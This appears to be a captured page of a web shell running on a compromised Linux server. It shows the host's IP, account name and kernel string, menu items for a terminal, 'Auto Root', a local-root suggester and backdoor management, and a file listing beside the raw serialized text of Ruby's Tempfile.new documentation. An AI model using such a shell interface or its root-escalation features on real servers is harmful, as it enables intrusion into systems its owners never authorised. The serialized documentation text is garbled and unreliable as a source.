Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.37
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby22 /
share /
ri /
2.2.0 /
system /
Tempfile /
Delete
Unzip
Name
Size
Permission
Date
Action
Remover
[ DIR ]
drwxr-xr-x
2026-05-01 04:24
cdesc-Tempfile.ri
3.79
KB
-rw-r--r--
2023-07-26 18:01
close%21-i.ri
367
B
-rw-r--r--
2023-07-26 18:01
close-i.ri
630
B
-rw-r--r--
2023-07-26 18:01
create-c.ri
1.19
KB
-rw-r--r--
2023-07-26 18:01
delete-i.ri
249
B
-rw-r--r--
2023-07-26 18:01
length-i.ri
247
B
-rw-r--r--
2023-07-26 18:01
new-c.ri
2.42
KB
-rw-r--r--
2023-07-26 18:01
open-c.ri
1.05
KB
-rw-r--r--
2023-07-26 18:01
open-i.ri
307
B
-rw-r--r--
2023-07-26 18:01
path-i.ri
367
B
-rw-r--r--
2023-07-26 18:01
size-i.ri
415
B
-rw-r--r--
2023-07-26 18:01
unlink-i.ri
1.75
KB
-rw-r--r--
2023-07-26 18:01
Save
Rename
U:RDoc::AnyMethod[iI"new:ETI"Tempfile::new;TT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"ICreates a temporary file with permissions 0600 (= only readable and ;TI"8writable by the owner) and opens it with mode "w+".;To:RDoc::Markup::BlankLine o; ; [I"CThe +basename+ parameter is used to determine the name of the ;TI"Ctemporary file. You can either pass a String or an Array with ;TI"F2 String elements. In the former form, the temporary file's base ;TI"@name will begin with the given string. In the latter form, ;TI"Fthe temporary file's base name will begin with the array's first ;TI";element, and end with the second element. For example:;T@o:RDoc::Markup::Verbatim; [I""file = Tempfile.new('hello') ;TI"Gfile.path # => something like: "/tmp/hello2843-8392-92849382--0" ;TI" ;TI"C# Use the Array form to enforce an extension in the filename: ;TI",file = Tempfile.new(['hello', '.jpg']) ;TI"Kfile.path # => something like: "/tmp/hello2843-8392-92849382--0.jpg" ;T:@format0o; ; [I"EThe temporary file will be placed in the directory as specified ;TI"Bby the +tmpdir+ parameter. By default, this is +Dir.tmpdir+. ;TI"?When $SAFE > 0 and the given +tmpdir+ is tainted, it uses ;TI"D'/tmp' as the temporary directory. Please note that ENV values ;TI"Care tainted by default, and +Dir.tmpdir+'s return value might ;TI"=come from environment variables (e.g. <tt>$TMPDIR</tt>).;T@o;; [I"2file = Tempfile.new('hello', '/home/aisaka') ;TI"Ofile.path # => something like: "/home/aisaka/hello2843-8392-92849382--0" ;T; 0o; ; [ I"IYou can also pass an options hash. Under the hood, Tempfile creates ;TI"Kthe temporary file using +File.open+. These options will be passed to ;TI"@+File.open+. This is mostly useful for specifying encoding ;TI"options, e.g.:;T@o;; [ I"FTempfile.new('hello', '/home/aisaka', :encoding => 'ascii-8bit') ;TI" ;TI"1# You can also omit the 'tmpdir' parameter: ;TI"6Tempfile.new('hello', :encoding => 'ascii-8bit') ;T; 0S:RDoc::Markup::Heading: leveli: textI"Exceptions;T@o; ; [I"DIf Tempfile.new cannot find a unique filename within a limited ;TI"6number of tries, then it will raise an exception.;T: @fileI"lib/tempfile.rb;T:0@omit_headings_from_table_of_contents_below0I"5new(basename, [tmpdir = Dir.tmpdir], [options]) ;T0[ I"/(basename, tmpdir=nil, mode: 0, **options);T@>TI" Tempfile;TcRDoc::NormalClass00